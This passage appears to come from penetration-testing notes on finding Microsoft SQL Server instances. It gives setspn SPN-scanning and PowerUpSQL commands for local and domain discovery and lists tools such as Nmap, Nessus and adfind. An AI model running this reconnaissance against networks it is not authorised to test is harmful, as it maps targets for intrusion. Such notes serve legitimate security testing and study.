are \* \[OSQL\](https://docs.microsoft.com/en-us/sql/tools/osql-utility?view=sql-server-2017). \* \[SQLPing3\](http://www.sqlsecurity.com/downloads). \* Nmap \* Nessus ## Local User As a local user SQL Server instances can be identified by checking system services and registry settings. \`\`\` >> Get-SQLInstanceLocal \`\`\` ## Domain User SQL servers are automatically registered in AD with an associated service account. This is done to support Kerberos authentication. We can use SPN scanning like so: \`\`\` >> setspn -T domain -Q MSSQLSvc/\* \`\`\` or just use powerupsql again \`\`\` >> Get-SQLInstanceDomain \`\`\` Tools are: \* \[setspn.exe\](https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx). \* \[adfind.exe\](http://www.joeware.net/freetools/tools/adfind/index.htm). \* \[Get-Spn.psm1\](https://github.com/nullbind/Powershellery/blob/master/Stable-ish/Get-SPN/Get-SPN.psm1). ---